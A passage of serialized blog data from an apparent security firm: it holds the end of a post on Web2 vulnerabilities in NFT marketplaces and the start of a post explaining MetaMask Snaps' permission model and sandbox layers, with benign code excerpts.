",{"type":25,"tag":162,"props":39311,"children":39314},{"href":39312,"rel":39313},"https://en.wikipedia.org/wiki/Denial-of-service_attack",[166],[39315],{"type":31,"value":39316},"denial-of-service",{"type":31,"value":39318}," (DoS) attacks.",{"type":25,"tag":38,"props":39320,"children":39321},{},[39322],{"type":31,"value":39323},"Lastly, NFT marketplaces should pay close attention to authentication and authorization controls. Specifically, addressing third-party platform misconfiguration. Applying the least privilege principle is crucial for enhancing security.",{"type":25,"tag":38,"props":39325,"children":39326},{},[39327],{"type":31,"value":39328},"By implementing these security measures, NFT marketplaces can strengthen their security posture, build trust among users, and create a secure environment for the trading and exchange of valuable digital assets.",{"type":25,"tag":453,"props":39330,"children":39331},{"id":32886},[39332],{"type":31,"value":22901},{"type":25,"tag":38,"props":39334,"children":39335},{},[39336],{"type":31,"value":39337},"To recap, the presence of Web 2 bugs in NFT marketplaces emphasizes the need to address the underlying security issues within these platforms. Developers must prioritize not only the integrity of on-chain operations, but also the security of off-chain processes. To ensure an overall robust and trustworthy ecosystem for NFT marketplaces, developers should focus on implementing comprehensive security measures across all the components of the marketplace, engage with third party auditor, and test the entire infrastructure as necessary to identify and address any potential vulnerabilities.",{"type":25,"tag":38,"props":39339,"children":39340},{},[39341],{"type":31,"value":39342},"Most of all, it is especially crucial to educate communities about risks and security best practices. By promoting awareness and providing transparent information, platforms can empower users to make informed decisions and protect themselves against potential scams or fraudulent activities.",{"type":25,"tag":26,"props":39344,"children":39346},{"id":39345},"disclaimer",[39347],{"type":31,"value":39348},"Disclaimer",{"type":25,"tag":38,"props":39350,"children":39351},{},[39352],{"type":31,"value":39353},"Despite our consistent efforts to contact the Rocki Marketplace team regarding our findings, we unfortunately have not received a response. As a result, we decided to disclose this matter to our readers. We will continue to closely monitor the situation and remain open in helping their team resolve this issue.",{"type":25,"tag":9310,"props":39355,"children":39356},{},[39357],{"type":31,"value":9314},{"title":7,"searchDepth":6763,"depth":6763,"links":39359},[39360,39363,39369,39373,39374],{"id":32969,"depth":6763,"text":32972,"children":39361},[39362],{"id":6847,"depth":6772,"text":6850},{"id":35163,"depth":6763,"text":35193,"children":39364},[39365,39366,39367,39368],{"id":35212,"depth":6772,"text":35215},{"id":35277,"depth":6772,"text":35280},{"id":38108,"depth":6772,"text":38111},{"id":38398,"depth":6772,"text":38401},{"id":38743,"depth":6763,"text":38746,"children":39370},[39371,39372],{"id":38765,"depth":6772,"text":38768},{"id":38815,"depth":6772,"text":38818},{"id":38899,"depth":6763,"text":38905},{"id":39345,"depth":6763,"text":39348},"content:blog:2023-08-11-web2-bug-repellant-instructions.md","blog/2023-08-11-web2-bug-repellant-instructions.md","blog/2023-08-11-web2-bug-repellant-instructions",{"_path":39379,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":39380,"description":39381,"author":39382,"image":39383,"date":39385,"isFeatured":16,"onBlogPage":16,"body":39386,"_type":6792,"_id":44402,"_source":6794,"_file":44403,"_stem":44404,"_extension":6797},"/blog/2023-11-01-metamask-snaps","Metamask Snaps: Playing in the Sand","A deep dig into Metamask Snaps. We explore safety considerations, environment design, and break down a property spoofing vulnerability in the Snaps sandboxing layer.",[35157,35156],{"src":39384,"height":17573,"width":17574},"/posts/metamask-snaps/header.png","2023-11-01",{"type":22,"children":39387,"toc":44383},[39388,39392,39397,39402,39407,39413,39418,39424,39437,39442,39447,39454,39486,39492,39497,39515,39522,39528,39542,39548,39568,39832,39860,39866,39885,40271,40290,40303,40621,40642,40913,40918,40924,40929,40942,40947,40960,41219,41263,41276,41282,41296,41302,41308,41321,41358,41364,41384,41495,41522,41528,41546,41559,41565,41570,41588,41699,41704,41725,41738,41755,41855,41881,41898,42020,42046,42058,42063,42069,42075,42080,42103,42108,42113,42119,42125,42152,42555,42582,42609,42615,42646,42955,42974,42979,43004,43017,43023,43050,43345,43381,43399,43404,43439,43444,43448,43453,43460,43465,43492,44269,44289,44295,44316,44365,44369,44374,44379],{"type":25,"tag":26,"props":39389,"children":39390},{"id":22910},[39391],{"type":31,"value":22913},{"type":25,"tag":38,"props":39393,"children":39394},{},[39395],{"type":31,"value":39396},"Metamask snaps are simple modules that extend Metamask's functionality. These modules can be written by anyone, and provide useful features that the vanilla wallet doesn't.",{"type":25,"tag":38,"props":39398,"children":39399},{},[39400],{"type":31,"value":39401},"Metamask provides a sandboxed environment that allows developers to run Snap code safely, without disclosing or tampering with critical information without user permission.",{"type":25,"tag":38,"props":39403,"children":39404},{},[39405],{"type":31,"value":39406},"In this article, we'll explore exactly how the snap execution environment works. We'll then delve into a unique property spoofing vulnerability we reported in the Metamask Snaps sandbox.",{"type":25,"tag":26,"props":39408,"children":39410},{"id":39409},"sandbox-security",[39411],{"type":31,"value":39412},"Sandbox Security",{"type":25,"tag":38,"props":39414,"children":39415},{},[39416],{"type":31,"value":39417},"In the first part of the article, we'll describe how the Metamask sandbox works, and examine what it's doing to protect the security of Snaps.",{"type":25,"tag":607,"props":39419,"children":39421},{"id":39420},"permission-based-security",[39422],{"type":31,"value":39423},"Permission-based security",{"type":25,"tag":38,"props":39425,"children":39426},{},[39427,39429,39435],{"type":31,"value":39428},"Each snap is built to have only the permissions it needs to hold. These permissions are specified in the ",{"type":25,"tag":82,"props":39430,"children":39432},{"className":39431},[],[39433],{"type":31,"value":39434},"snap.manifest.json",{"type":31,"value":39436}," file and can be critical to security.",{"type":25,"tag":38,"props":39438,"children":39439},{},[39440],{"type":31,"value":39441},"Snap security is totally centered around the user, whose decisions can provide dangerous permissions to a malicious snap. Metamask warns about the risk of each permission.",{"type":25,"tag":38,"props":39443,"children":39444},{},[39445],{"type":31,"value":39446},"Here are the critical permissions possible to be given to a snap:",{"type":25,"tag":38,"props":39448,"children":39449},{},[39450],{"type":25,"tag":6461,"props":39451,"children":39453},{"alt":7,"src":39452},"/posts/metamask-snaps/permissions.png",[],{"type":25,"tag":2033,"props":39455,"children":39456},{},[39457,39475],{"type":25,"tag":2037,"props":39458,"children":39459},{},[39460,39466,39467,39473],{"type":25,"tag":82,"props":39461,"children":39463},{"className":39462},[],[39464],{"type":31,"value":39465},"snap_getBip44Entropy",{"type":31,"value":1301},{"type":25,"tag":82,"props":39468,"children":39470},{"className":39469},[],[39471],{"type":31,"value":39472},"snap_getBip32Entropy",{"type":31,"value":39474}," -> a malicious snap retrieving keypair leads to loss of funds",{"type":25,"tag":2037,"props":39476,"children":39477},{},[39478,39484],{"type":25,"tag":82,"props":39479,"children":39481},{"className":39480},[],[39482],{"type":31,"value":39483},"endowment:transaction-insight",{"type":31,"value":39485}," -> a malicious snap getting insights of a transaction before approval can lead to frontrunning attacks",{"type":25,"tag":607,"props":39487,"children":39489},{"id":39488},"snap-execution-environment",[39490],{"type":31,"value":39491},"Snap execution environment",{"type":25,"tag":38,"props":39493,"children":39494},{},[39495],{"type":31,"value":39496},"Snaps are executed in a totally sandboxed environment which provides a safe context for executing untrusted code, and separates it from the normal execution flow. To accomplish this, Metamask uses 3 layers of security to create this safe environment:",{"type":25,"tag":6705,"props":39498,"children":39499},{},[39500,39505,39510],{"type":25,"tag":2037,"props":39501,"children":39502},{},[39503],{"type":31,"value":39504},"An isolated iframe",{"type":25,"tag":2037,"props":39506,"children":39507},{},[39508],{"type":31,"value":39509},"LavaMoat",{"type":25,"tag":2037,"props":39511,"children":39512},{},[39513],{"type":31,"value":39514},"SES (Secure EcmaScript)",{"type":25,"tag":38,"props":39516,"children":39517},{},[39518],{"type":25,"tag":6461,"props":39519,"children":39521},{"alt":7,"src":39520},"/posts/metamask-snaps/environment.png",[],{"type":25,"tag":607,"props":39523,"children":39525},{"id":39524},"isolated-iframe-layer-1",[39526],{"type":31,"value":39527},"Isolated Iframe - Layer 1",{"type":25,"tag":38,"props":39529,"children":39530},{},[39531,39533,39540],{"type":31,"value":39532},"Snaps empower developers to enhance Metamask's functionality while maintaining a strong security posture. These modules execute within an ",{"type":25,"tag":162,"props":39534,"children":39537},{"href":39535,"rel":39536},"https://blog.logrocket.com/the-ultimate-guide-to-iframes/",[166],[39538],{"type":31,"value":39539},"Iframe",{"type":31,"value":39541}," environment, ensuring they are isolated and secure. To facilitate this execution, Metamask takes advantage of an iFrame sandboxing mechanism, allowing snaps to operate in a contained context.",{"type":25,"tag":631,"props":39543,"children":39545},{"id":39544},"the-framework-metamask-extension-repo",[39546],{"type":31,"value":39547},"The Framework: Metamask-Extension Repo",{"type":25,"tag":38,"props":39549,"children":39550},{},[39551,39553,39559,39561,39567],{"type":31,"value":39552},"The process of snap execution kicks off within the metamask-extension repository's ",{"type":25,"tag":82,"props":39554,"children":39556},{"className":39555},[],[39557],{"type":31,"value":39558},"metamask-controller.js",{"type":31,"value":39560}," file. Here's a glimpse of the relevant ",{"type":25,"tag":162,"props":39562,"children":39565},{"href":39563,"rel":39564},"https://github.com/MetaMask/metamask-extension/blob/4b23ea8c95bea9ea12336537bb6bda4568a99098/app/scripts/metamask-controller.js#L978",[166],[39566],{"type":31,"value":82},{"type":31,"value":1466},{"type":25,"tag":206,"props":39569,"children":39573},{"className":39570,"code":39571,"language":39572,"meta":7,"style":7},"language-javascript shiki shiki-themes slack-dark","// Import snaps-controllers\n// ...\nconst snapExecutionServiceArgs = {\n  iframeUrl: new URL(process.env.IFRAME_EXECUTION_ENVIRONMENT_URL),\n  messenger: this.controllerMessenger.getRestricted({\n    name: 'ExecutionService',\n  }),\n  setupSnapProvider: this.setupSnapProvider.bind(this),\n};\n\n// Define IFRAME_EXECUTION_ENVIRONMENT_URL\nprocess.env.IFRAME_EXECUTION_ENVIRONMENT_URL =\n  'https://execution.metamask.io/0.36.1-flask.1/index.html';\n// ...\n","javascript",[39574],{"type":25,"tag":82,"props":39575,"children":39576},{"__ignoreMap":7},[39577,39585,39593,39613,39661,39696,39713,39721,39763,39770,39777,39785,39813,39825],{"type":25,"tag":216,"props":39578,"children":39579},{"class":6916,"line":6917},[39580],{"type":25,"tag":216,"props":39581,"children":39582},{"style":6921},[39583],{"type":31,"value":39584},"// Import snaps-controllers\n",{"type":25,"tag":216,"props":39586,"children":39587},{"class":6916,"line":6763},[39588],{"type":25,"tag":216,"props":39589,"children":39590},{"style":6921},[39591],{"type":31,"value":39592},"// ...\n",{"type":25,"tag":216,"props":39594,"children":39595},{"class":6916,"line":6772},[39596,39600,39605,39609],{"type":25,"tag":216,"props":39597,"children":39598},{"style":6930},[39599],{"type":31,"value":13605},{"type":25,"tag":216,"props":39601,"children":39602},{"style":6941},[39603],{"type":31,"value":39604}," snapExecutionServiceArgs",{"type":25,"tag":216,"props":39606,"children":39607},{"style":6947},[39608],{"type":31,"value":6950},{"type":25,"tag":216,"props":39610,"children":39611},{"style":6958},[39612],{"type":31,"value":7235},{"type":25,"tag":216,"props":39614,"children":39615},{"class":6916,"line":6999},[39616,39621,39625,39630,39634,39639,39643,39648,39652,39657],{"type":25,"tag":216,"props":39617,"children":39618},{"style":6941},[39619],{"type":31,"value":39620},"  iframeUrl:",{"type":25,"tag":216,"props":39622,"children":39623},{"style":6930},[39624],{"type":31,"value":35889},{"type":25,"tag":216,"props":39626,"children":39627},{"style":7041},[39628],{"type":31,"value":39629}," URL",{"type":25,"tag":216,"props":39631,"children":39632},{"style":6958},[39633],{"type":31,"value":1844},{"type":25,"tag":216,"props":39635,"children":39636},{"style":6941},[39637],{"type":31,"value":39638},"process",{"type":25,"tag":216,"props":39640,"children":39641},{"style":6958},[39642],{"type":31,"value":179},{"type":25,"tag":216,"props":39644,"children":39645},{"style":6941},[39646],{"type":31,"value":39647},"env",{"type":25,"tag":216,"props":39649,"children":39650},{"style":6958},[39651],{"type":31,"value":179},{"type":25,"tag":216,"props":39653,"children":39654},{"style":6941},[39655],{"type":31,"value":39656},"IFRAME_EXECUTION_ENVIRONMENT_URL",{"type":25,"tag":216,"props":39658,"children":39659},{"style":6958},[39660],{"type":31,"value":10682},{"type":25,"tag":216,"props":39662,"children":39663},{"class":6916,"line":7104},[39664,39669,39674,39678,39683,39687,39692],{"type":25,"tag":216,"props":39665,"children":39666},{"style":6941},[39667],{"type":31,"value":39668},"  messenger:",{"type":25,"tag":216,"props":39670,"children":39671},{"style":6930},[39672],{"type":31,"value":39673}," this",{"type":25,"tag":216,"props":39675,"children":39676},{"style":6958},[39677],{"type":31,"value":179},{"type":25,"tag":216,"props":39679,"children":39680},{"style":6941},[39681],{"type":31,"value":39682},"controllerMessenger",{"type":25,"tag":216,"props":39684,"children":39685},{"style":6958},[39686],{"type":31,"value":179},{"type":25,"tag":216,"props":39688,"children":39689},{"style":7041},[39690],{"type":31,"value":39691},"getRestricted",{"type":25,"tag":216,"props":39693,"children":39694},{"style":6958},[39695],{"type":31,"value":19092},{"type":25,"tag":216,"props":39697,"children":39698},{"class":6916,"line":7210},[39699,39704,39709],{"type":25,"tag":216,"props":39700,"children":39701},{"style":6941},[39702],{"type":31,"value":39703},"    name:",{"type":25,"tag":216,"props":39705,"children":39706},{"style":8199},[39707],{"type":31,"value":39708}," 'ExecutionService'",{"type":25,"tag":216,"props":39710,"children":39711},{"style":6958},[39712],{"type":31,"value":7459},{"type":25,"tag":216,"props":39714,"children":39715},{"class":6916,"line":7238},[39716],{"type":25,"tag":216,"props":39717,"children":39718},{"style":6958},[39719],{"type":31,"value":39720},"  }),\n",{"type":25,"tag":216,"props":39722,"children":39723},{"class":6916,"line":7251},[39724,39729,39733,39737,39742,39746,39751,39755,39759],{"type":25,"tag":216,"props":39725,"children":39726},{"style":6941},[39727],{"type":31,"value":39728},"  setupSnapProvider:",{"type":25,"tag":216,"props":39730,"children":39731},{"style":6930},[39732],{"type":31,"value":39673},{"type":25,"tag":216,"props":39734,"children":39735},{"style":6958},[39736],{"type":31,"value":179},{"type":25,"tag":216,"props":39738,"children":39739},{"style":6941},[39740],{"type":31,"value":39741},"setupSnapProvider",{"type":25,"tag":216,"props":39743,"children":39744},{"style":6958},[39745],{"type":31,"value":179},{"type":25,"tag":216,"props":39747,"children":39748},{"style":7041},[39749],{"type":31,"value":39750},"bind",{"type":25,"tag":216,"props":39752,"children":39753},{"style":6958},[39754],{"type":31,"value":1844},{"type":25,"tag":216,"props":39756,"children":39757},{"style":6930},[39758],{"type":31,"value":21645},{"type":25,"tag":216,"props":39760,"children":39761},{"style":6958},[39762],{"type":31,"value":10682},{"type":25,"tag":216,"props":39764,"children":39765},{"class":6916,"line":7269},[39766],{"type":25,"tag":216,"props":39767,"children":39768},{"style":6958},[39769],{"type":31,"value":20530},{"type":25,"tag":216,"props":39771,"children":39772},{"class":6916,"line":7290},[39773],{"type":25,"tag":216,"props":39774,"children":39775},{"emptyLinePlaceholder":16},[39776],{"type":31,"value":7636},{"type":25,"tag":216,"props":39778,"children":39779},{"class":6916,"line":7299},[39780],{"type":25,"tag":216,"props":39781,"children":39782},{"style":6921},[39783],{"type":31,"value":39784},"// Define IFRAME_EXECUTION_ENVIRONMENT_URL\n",{"type":25,"tag":216,"props":39786,"children":39787},{"class":6916,"line":7551},[39788,39792,39796,39800,39804,39808],{"type":25,"tag":216,"props":39789,"children":39790},{"style":6941},[39791],{"type":31,"value":39638},{"type":25,"tag":216,"props":39793,"children":39794},{"style":6958},[39795],{"type":31,"value":179},{"type":25,"tag":216,"props":39797,"children":39798},{"style":6941},[39799],{"type":31,"value":39647},{"type":25,"tag":216,"props":39801,"children":39802},{"style":6958},[39803],{"type":31,"value":179},{"type":25,"tag":216,"props":39805,"children":39806},{"style":6941},[39807],{"type":31,"value":39656},{"type":25,"tag":216,"props":39809,"children":39810},{"style":6947},[39811],{"type":31,"value":39812}," =\n",{"type":25,"tag":216,"props":39814,"children":39815},{"class":6916,"line":7568},[39816,39821],{"type":25,"tag":216,"props":39817,"children":39818},{"style":8199},[39819],{"type":31,"value":39820},"  'https://execution.metamask.io/0.36.1-flask.1/index.html'",{"type":25,"tag":216,"props":39822,"children":39823},{"style":6958},[39824],{"type":31,"value":6961},{"type":25,"tag":216,"props":39826,"children":39827},{"class":6916,"line":7585},[39828],{"type":25,"tag":216,"props":39829,"children":39830},{"style":6921},[39831],{"type":31,"value":39592},{"type":25,"tag":38,"props":39833,"children":39834},{},[39835,39837,39843,39845,39851,39853,39858],{"type":31,"value":39836},"This code is defining the ",{"type":25,"tag":82,"props":39838,"children":39840},{"className":39839},[],[39841],{"type":31,"value":39842},"snapExecutionServiceArgs",{"type":31,"value":39844}," object, which contains information required for the ",{"type":25,"tag":82,"props":39846,"children":39848},{"className":39847},[],[39849],{"type":31,"value":39850},"IframeExecutionService",{"type":31,"value":39852}," to execute snaps. The ",{"type":25,"tag":82,"props":39854,"children":39856},{"className":39855},[],[39857],{"type":31,"value":39656},{"type":31,"value":39859}," points to the location where the execution environment resides.",{"type":25,"tag":631,"props":39861,"children":39863},{"id":39862},"executing-snaps-iframeexecutionservice-in-action",[39864],{"type":31,"value":39865},"Executing Snaps: IframeExecutionService in Action",{"type":25,"tag":38,"props":39867,"children":39868},{},[39869,39871,39876,39878,39884],{"type":31,"value":39870},"Inside the snaps-controller package's IframeExecutionService.ts file, the ",{"type":25,"tag":82,"props":39872,"children":39874},{"className":39873},[],[39875],{"type":31,"value":39850},{"type":31,"value":39877}," orchestrates snap execution. Again, here's a snippet of the relevant ",{"type":25,"tag":162,"props":39879,"children":39882},{"href":39880,"rel":39881},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-controllers/src/services/AbstractExecutionService.ts#L89",[166],[39883],{"type":31,"value":82},{"type":31,"value":1466},{"type":25,"tag":206,"props":39886,"children":39890},{"className":39887,"code":39888,"language":39889,"meta":7,"style":7},"language-typescript shiki shiki-themes slack-dark","// Register message handlers for snap interactions\nthis.#messenger.registerActionHandler(\n  `${controllerName}:handleRpcRequest`,\n  async (snapId: string, options: SnapRpcHookArgs) =>\n    this.handleRpcRequest(snapId, options),\n);\n\n// More handlers for executeSnap, terminateSnap, etc.\n// ...\n\n// Execute a snap\nasync executeSnap(snapData: SnapExecutionData) {\n  // Initialize job, streams, and environment\n  const { jobId } = await this.initJob(snapData);\n  const { worker, stream } = await this.initEnvStream(jobId);\n  // ...\n}\n","typescript",[39891],{"type":25,"tag":82,"props":39892,"children":39893},{"__ignoreMap":7},[39894,39902,39931,39961,40014,40051,40058,40065,40073,40080,40087,40095,40130,40138,40194,40256,40264],{"type":25,"tag":216,"props":39895,"children":39896},{"class":6916,"line":6917},[39897],{"type":25,"tag":216,"props":39898,"children":39899},{"style":6921},[39900],{"type":31,"value":39901},"// Register message handlers for snap interactions\n",{"type":25,"tag":216,"props":39903,"children":39904},{"class":6916,"line":6763},[39905,39909,39913,39918,39922,39927],{"type":25,"tag":216,"props":39906,"children":39907},{"style":6930},[39908],{"type":31,"value":21645},{"type":25,"tag":216,"props":39910,"children":39911},{"style":6958},[39912],{"type":31,"value":179},{"type":25,"tag":216,"props":39914,"children":39915},{"style":6941},[39916],{"type":31,"value":39917},"#messenger",{"type":25,"tag":216,"props":39919,"children":39920},{"style":6958},[39921],{"type":31,"value":179},{"type":25,"tag":216,"props":39923,"children":39924},{"style":7041},[39925],{"type":31,"value":39926},"registerActionHandler",{"type":25,"tag":216,"props":39928,"children":39929},{"style":6958},[39930],{"type":31,"value":7414},{"type":25,"tag":216,"props":39932,"children":39933},{"class":6916,"line":6772},[39934,39939,39943,39948,39952,39957],{"type":25,"tag":216,"props":39935,"children":39936},{"style":8199},[39937],{"type":31,"value":39938},"  `",{"type":25,"tag":216,"props":39940,"children":39941},{"style":6930},[39942],{"type":31,"value":38065},{"type":25,"tag":216,"props":39944,"children":39945},{"style":6941},[39946],{"type":31,"value":39947},"controllerName",{"type":25,"tag":216,"props":39949,"children":39950},{"style":6930},[39951],{"type":31,"value":38097},{"type":25,"tag":216,"props":39953,"children":39954},{"style":8199},[39955],{"type":31,"value":39956},":handleRpcRequest`",{"type":25,"tag":216,"props":39958,"children":39959},{"style":6958},[39960],{"type":31,"value":7459},{"type":25,"tag":216,"props":39962,"children":39963},{"class":6916,"line":6999},[39964,39969,39973,39978,39982,39987,39991,39996,40000,40005,40009],{"type":25,"tag":216,"props":39965,"children":39966},{"style":6930},[39967],{"type":31,"value":39968},"  async",{"type":25,"tag":216,"props":39970,"children":39971},{"style":6958},[39972],{"type":31,"value":7010},{"type":25,"tag":216,"props":39974,"children":39975},{"style":6941},[39976],{"type":31,"value":39977},"snapId",{"type":25,"tag":216,"props":39979,"children":39980},{"style":6947},[39981],{"type":31,"value":1466},{"type":25,"tag":216,"props":39983,"children":39984},{"style":7369},[39985],{"type":31,"value":39986}," string",{"type":25,"tag":216,"props":39988,"children":39989},{"style":6958},[39990],{"type":31,"value":7020},{"type":25,"tag":216,"props":39992,"children":39993},{"style":6941},[39994],{"type":31,"value":39995},"options",{"type":25,"tag":216,"props":39997,"children":39998},{"style":6947},[39999],{"type":31,"value":1466},{"type":25,"tag":216,"props":40001,"children":40002},{"style":7369},[40003],{"type":31,"value":40004}," SnapRpcHookArgs",{"type":25,"tag":216,"props":40006,"children":40007},{"style":6958},[40008],{"type":31,"value":7030},{"type":25,"tag":216,"props":40010,"children":40011},{"style":6930},[40012],{"type":31,"value":40013},"=>\n",{"type":25,"tag":216,"props":40015,"children":40016},{"class":6916,"line":7104},[40017,40022,40026,40031,40035,40039,40043,40047],{"type":25,"tag":216,"props":40018,"children":40019},{"style":6930},[40020],{"type":31,"value":40021},"    this",{"type":25,"tag":216,"props":40023,"children":40024},{"style":6958},[40025],{"type":31,"value":179},{"type":25,"tag":216,"props":40027,"children":40028},{"style":7041},[40029],{"type":31,"value":40030},"handleRpcRequest",{"type":25,"tag":216,"props":40032,"children":40033},{"style":6958},[40034],{"type":31,"value":1844},{"type":25,"tag":216,"props":40036,"children":40037},{"style":6941},[40038],{"type":31,"value":39977},{"type":25,"tag":216,"props":40040,"children":40041},{"style":6958},[40042],{"type":31,"value":7020},{"type":25,"tag":216,"props":40044,"children":40045},{"style":6941},[40046],{"type":31,"value":39995},{"type":25,"tag":216,"props":40048,"children":40049},{"style":6958},[40050],{"type":31,"value":10682},{"type":25,"tag":216,"props":40052,"children":40053},{"class":6916,"line":7210},[40054],{"type":25,"tag":216,"props":40055,"children":40056},{"style":6958},[40057],{"type":31,"value":7791},{"type":25,"tag":216,"props":40059,"children":40060},{"class":6916,"line":7238},[40061],{"type":25,"tag":216,"props":40062,"children":40063},{"emptyLinePlaceholder":16},[40064],{"type":31,"value":7636},{"type":25,"tag":216,"props":40066,"children":40067},{"class":6916,"line":7251},[40068],{"type":25,"tag":216,"props":40069,"children":40070},{"style":6921},[40071],{"type":31,"value":40072},"// More handlers for executeSnap, terminateSnap, etc.\n",{"type":25,"tag":216,"props":40074,"children":40075},{"class":6916,"line":7269},[40076],{"type":25,"tag":216,"props":40077,"children":40078},{"style":6921},[40079],{"type":31,"value":39592},{"type":25,"tag":216,"props":40081,"children":40082},{"class":6916,"line":7290},[40083],{"type":25,"tag":216,"props":40084,"children":40085},{"emptyLinePlaceholder":16},[40086],{"type":31,"value":7636},{"type":25,"tag":216,"props":40088,"children":40089},{"class":6916,"line":7299},[40090],{"type":25,"tag":216,"props":40091,"children":40092},{"style":6921},[40093],{"type":31,"value":40094},"// Execute a snap\n",{"type":25,"tag":216,"props":40096,"children":40097},{"class":6916,"line":7551},[40098,40103,40108,40112,40117,40121,40126],{"type":25,"tag":216,"props":40099,"children":40100},{"style":6941},[40101],{"type":31,"value":40102},"async",{"type":25,"tag":216,"props":40104,"children":40105},{"style":7041},[40106],{"type":31,"value":40107}," executeSnap",{"type":25,"tag":216,"props":40109,"children":40110},{"style":6958},[40111],{"type":31,"value":1844},{"type":25,"tag":216,"props":40113,"children":40114},{"style":6941},[40115],{"type":31,"value":40116},"snapData",{"type":25,"tag":216,"props":40118,"children":40119},{"style":6958},[40120],{"type":31,"value":19282},{"type":25,"tag":216,"props":40122,"children":40123},{"style":6941},[40124],{"type":31,"value":40125},"SnapExecutionData",{"type":25,"tag":216,"props":40127,"children":40128},{"style":6958},[40129],{"type":31,"value":18755},{"type":25,"tag":216,"props":40131,"children":40132},{"class":6916,"line":7568},[40133],{"type":25,"tag":216,"props":40134,"children":40135},{"style":6921},[40136],{"type":31,"value":40137},"  // Initialize job, streams, and environment\n",{"type":25,"tag":216,"props":40139,"children":40140},{"class":6916,"line":7585},[40141,40146,40150,40155,40160,40164,40169,40173,40177,40182,40186,40190],{"type":25,"tag":216,"props":40142,"children":40143},{"style":6930},[40144],{"type":31,"value":40145},"  const",{"type":25,"tag":216,"props":40147,"children":40148},{"style":6958},[40149],{"type":31,"value":13536},{"type":25,"tag":216,"props":40151,"children":40152},{"style":6941},[40153],{"type":31,"value":40154},"jobId",{"type":25,"tag":216,"props":40156,"children":40157},{"style":6958},[40158],{"type":31,"value":40159}," } ",{"type":25,"tag":216,"props":40161,"children":40162},{"style":6947},[40163],{"type":31,"value":266},{"type":25,"tag":216,"props":40165,"children":40166},{"style":6967},[40167],{"type":31,"value":40168}," await",{"type":25,"tag":216,"props":40170,"children":40171},{"style":6930},[40172],{"type":31,"value":39673},{"type":25,"tag":216,"props":40174,"children":40175},{"style":6958},[40176],{"type":31,"value":179},{"type":25,"tag":216,"props":40178,"children":40179},{"style":7041},[40180],{"type":31,"value":40181},"initJob",{"type":25,"tag":216,"props":40183,"children":40184},{"style":6958},[40185],{"type":31,"value":1844},{"type":25,"tag":216,"props":40187,"children":40188},{"style":6941},[40189],{"type":31,"value":40116},{"type":25,"tag":216,"props":40191,"children":40192},{"style":6958},[40193],{"type":31,"value":7791},{"type":25,"tag":216,"props":40195,"children":40196},{"class":6916,"line":7598},[40197,40201,40205,40210,40214,40219,40223,40227,40231,40235,40239,40244,40248,40252],{"type":25,"tag":216,"props":40198,"children":40199},{"style":6930},[40200],{"type":31,"value":40145},{"type":25,"tag":216,"props":40202,"children":40203},{"style":6958},[40204],{"type":31,"value":13536},{"type":25,"tag":216,"props":40206,"children":40207},{"style":6941},[40208],{"type":31,"value":40209},"worker",{"type":25,"tag":216,"props":40211,"children":40212},{"style":6958},[40213],{"type":31,"value":7020},{"type":25,"tag":216,"props":40215,"children":40216},{"style":6941},[40217],{"type":31,"value":40218},"stream",{"type":25,"tag":216,"props":40220,"children":40221},{"style":6958},[40222],{"type":31,"value":40159},{"type":25,"tag":216,"props":40224,"children":40225},{"style":6947},[40226],{"type":31,"value":266},{"type":25,"tag":216,"props":40228,"children":40229},{"style":6967},[40230],{"type":31,"value":40168},{"type":25,"tag":216,"props":40232,"children":40233},{"style":6930},[40234],{"type":31,"value":39673},{"type":25,"tag":216,"props":40236,"children":40237},{"style":6958},[40238],{"type":31,"value":179},{"type":25,"tag":216,"props":40240,"children":40241},{"style":7041},[40242],{"type":31,"value":40243},"initEnvStream",{"type":25,"tag":216,"props":40245,"children":40246},{"style":6958},[40247],{"type":31,"value":1844},{"type":25,"tag":216,"props":40249,"children":40250},{"style":6941},[40251],{"type":31,"value":40154},{"type":25,"tag":216,"props":40253,"children":40254},{"style":6958},[40255],{"type":31,"value":7791},{"type":25,"tag":216,"props":40257,"children":40258},{"class":6916,"line":7607},[40259],{"type":25,"tag":216,"props":40260,"children":40261},{"style":6921},[40262],{"type":31,"value":40263},"  // ...\n",{"type":25,"tag":216,"props":40265,"children":40266},{"class":6916,"line":7630},[40267],{"type":25,"tag":216,"props":40268,"children":40269},{"style":6958},[40270],{"type":31,"value":7868},{"type":25,"tag":38,"props":40272,"children":40273},{},[40274,40275,40280,40282,40288],{"type":31,"value":474},{"type":25,"tag":82,"props":40276,"children":40278},{"className":40277},[],[40279],{"type":31,"value":39850},{"type":31,"value":40281}," registers message handlers that facilitate communication between Metamask and snaps within the iFrame. The ",{"type":25,"tag":82,"props":40283,"children":40285},{"className":40284},[],[40286],{"type":31,"value":40287},"${controllerName}:executeSnap",{"type":31,"value":40289}," handler triggers the snap execution process.",{"type":25,"tag":631,"props":40291,"children":40293},{"id":40292},"step-by-step-execution-from-initialization-to-iframe-creation",[40294,40296],{"type":31,"value":40295},"Step-by-Step Execution: From Initialization to iFrame ",{"type":25,"tag":162,"props":40297,"children":40300},{"href":40298,"rel":40299},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-controllers/src/services/iframe/IframeExecutionService.ts#L31",[166],[40301],{"type":31,"value":40302},"creation",{"type":25,"tag":206,"props":40304,"children":40306},{"className":39887,"code":40305,"language":39889,"meta":7,"style":7},"protected async initEnvStream(jobId: string): Promise\u003C{\n    worker: Window;\n    stream: BasePostMessageStream;\n  }> {\n    const iframeWindow = await createWindow(this.iframeUrl.toString(), jobId);\n\n    const stream = new WindowPostMessageStream({\n      name: 'parent',\n      target: 'child',\n      targetWindow: iframeWindow,\n      targetOrigin: '*',\n    });\n\n    return { worker: iframeWindow, stream };\n  }\n",[40307],{"type":25,"tag":82,"props":40308,"children":40309},{"__ignoreMap":7},[40310,40359,40380,40401,40409,40473,40480,40508,40525,40542,40559,40576,40583,40590,40614],{"type":25,"tag":216,"props":40311,"children":40312},{"class":6916,"line":6917},[40313,40318,40323,40328,40332,40336,40340,40344,40349,40354],{"type":25,"tag":216,"props":40314,"children":40315},{"style":6941},[40316],{"type":31,"value":40317},"protected",{"type":25,"tag":216,"props":40319,"children":40320},{"style":6941},[40321],{"type":31,"value":40322}," async",{"type":25,"tag":216,"props":40324,"children":40325},{"style":7041},[40326],{"type":31,"value":40327}," 